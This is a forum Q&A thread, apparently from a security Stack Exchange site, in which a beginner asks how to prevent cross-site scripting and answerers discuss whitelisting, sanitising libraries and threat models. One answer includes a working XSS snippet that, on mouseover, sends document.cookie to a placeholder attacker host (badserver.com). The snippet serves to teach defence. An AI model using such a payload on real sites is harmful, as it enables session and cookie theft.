1

Recently I did a bit of digging around XSS and found that to prevent XSS the best way is to encode user input/output. Being a newbie in this field I am unable to get my head around this and have a couple of questions:

  1. If on the server side we use a REGEX to strip of slashes (/,\) and script opening/closing symbols (<,>) can we prevent XSS?

  2. I also came across an article wherein checkboxes and radio buttons were also being attacked by injecting an onMouseHover = <script> .. </script>. Since this would not send any data back to server, how does this pose a threat?

  3. Using firebug we can inject scripts almost everywhere. What exactly should we take care of? If user form inputs are properly validated are we good?

  • 1
    You should not code the cleansing routines yourself. Most languages have libraries that do this for you. These libraries have had extensive review and are much less likely to have a flaw than your hand-coded functions. – Neil Smithline Nov 23 '15 at 16:54
3

If on the server side we use a REGEX...

You should use a whitelist, not a blacklist. Use a regex to match only letters, numbers, and a couple symbols. It's easier and safer than trying to solve every single way the attackers could inject scripts.

Since this would not send any data back to server, how does this pose a threat?

A script CAN send data to the server. Imagine the following snippet:

<b onMouseOver='javascript:doSomething()'>Nothing</b>
<img id='x' width='1' height='1'>
<script>function doSomething() { 
      document.getElementById('x').src = 'http://badserver.com/cookieStealer.php?' + document.cookie;
    }
</script>

You point the mouse to the B tag, and all your cookies are sent away.

Using firebug we can inject scripts almost everywhere.

Firebug is a debugger, running in the client side, operated by the client. Anything done within Firebug does not count as an attack, because is a user-initiated action. If you convince the client to open Firebug and execute any procedure, you probably could ask him to download an executable, put it on the antivirus whitelist and run it with administrator privileges.

  • Just to make sure here...an attack is a threat only if it is able to execute some data on the server side, correct? – AgentX Nov 23 '15 at 17:03
  • 1
    @AgentX no, an attack is a threat when it executes anything that was not intended and can potentially change any data in a harmful way. – ThoriumBR Nov 23 '15 at 18:51
  • Mostly agree but the question starting by asking about encoding (sanitizing) data which is completely different from white listing/blacklisting (validation) – symcbean Nov 23 '15 at 23:44

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.